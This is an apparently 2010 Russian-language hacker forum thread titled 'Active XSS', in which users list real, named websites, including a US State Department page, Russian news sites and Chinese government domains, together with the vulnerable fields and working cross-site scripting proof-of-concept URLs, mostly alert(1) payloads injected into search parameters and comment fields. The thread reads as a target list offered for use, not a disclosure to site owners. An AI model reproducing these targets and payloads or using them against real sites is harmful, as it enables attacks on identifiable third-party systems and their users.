Активные Xss

31.08.2010, 01:07

Dima X

Новичок

Регистрация: 14.12.2008

Сообщений: 10

С нами: 9161133

Репутация: 31

http://universant.vov.ru/php4/love/anketa.phtml?id=3522

Уязвимое поле

Место работы

Добавьте другое место работы, если его еще нет в списке

𝕏 Twitter Reddit Telegram Копировать ссылку

31.08.2010, 01:13

Dima X

Новичок

Регистрация: 14.12.2008

Сообщений: 10

С нами: 9161133

Репутация: 31

http://universant.vov.ru/ вот сайт, ссылка "Регистрация"

И это и предыдущая ссылка проверены.

20.09.2010, 23:04

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

U.S Department of State

не активка =(( но сайт знаменитость..

http://travel.state.gov/search/search_4654.html

вписываем:

Код:

document.body.innerHTML ="body{ visibility:hidden; }

20.09.2010, 23:47

zlo12

Постоянный

Регистрация: 28.12.2007

Сообщений: 328

С нами: 9667882

Репутация: 170

www.peoples.ru

Активная xss в названии темы на доске объявлений

Код:

Пример:
alert(1)
http://www.peoples.ru/in/board_messages.php

21.09.2010, 05:08

lukmus

Постоянный

Регистрация: 18.11.2009

Сообщений: 709

С нами: 8674045

Репутация: 214

Цитата:

Сообщение от zlo12

www.peoples.ru
Активная xss в названии темы на доске объявлений

Код:

Пример:
alert(1)
http://www.peoples.ru/in/board_messages.php

такая же фигня в ссылках, в теме и теле +

Код:

http://www.peoples.ru/search/?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

23.09.2010, 18:43

zlo12

Постоянный

Регистрация: 28.12.2007

Сообщений: 328

С нами: 9667882

Репутация: 170

http://market.ya1.ru/

Активная XSS в тексте объявления

Код:

alert(1)

--

пассивки

http://www.almaz-antey.ru/news.php?srch=%3Cscript%3Ealert(1)%3C/script%3E

Код:

http://www.fototraveller.ru/news/news.php
>alert(1)

http://www.nne.ru/search.php?text=%3Cscript%3Ealert%281%29%3C%2Fscri pt%3E&imageField.x=12&imageField.y=12

http://www.vokrug.tv/search/?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

28.09.2010, 22:52

zlo12

Постоянный

Регистрация: 28.12.2007

Сообщений: 328

С нами: 9667882

Репутация: 170

www.animecouncil.net

активная xss в комментариях к новости в поле " Your name "

Код:

пример
alert(1)
http://www.animecouncil.net/news.php?id=168

--

пассивки в поиске

http://www.arip.co.th/

http://fullrshare.com/

01.10.2010, 23:25

zlo12

Постоянный

Регистрация: 28.12.2007

Сообщений: 328

С нами: 9667882

Репутация: 170

http://www.alexbriffett.com

Активная xss в поле "Your name"

Код:

пример
alert(1)
http://www.alexbriffett.com/image?id=11&t=image

--

пассивки в поиске

alert(1)

http://www.downarchive.com/

>alert(1)

http://ads.lzjl.com/newServing/yesupSearch/image.php

02.10.2010, 11:01

zlo12

Постоянный

Регистрация: 28.12.2007

Сообщений: 328

С нами: 9667882

Репутация: 170

http://www.utworzspotkanie.pl/

http://www.enotatka.pl/

http://www.webgallery.za.pl/

по ходу одно и то же

Активная XSS в комментариях к фото

Код:

пример
alert(1)
http://www.utworzspotkanie.pl/photo.php?id=27

========================================

пассивки в китайском поиске

http://www.carnets.cn/

http://www.hr.gov.cn/

http://www.dangxiao.henan.gov.cn/

http://www.yugaopian.com/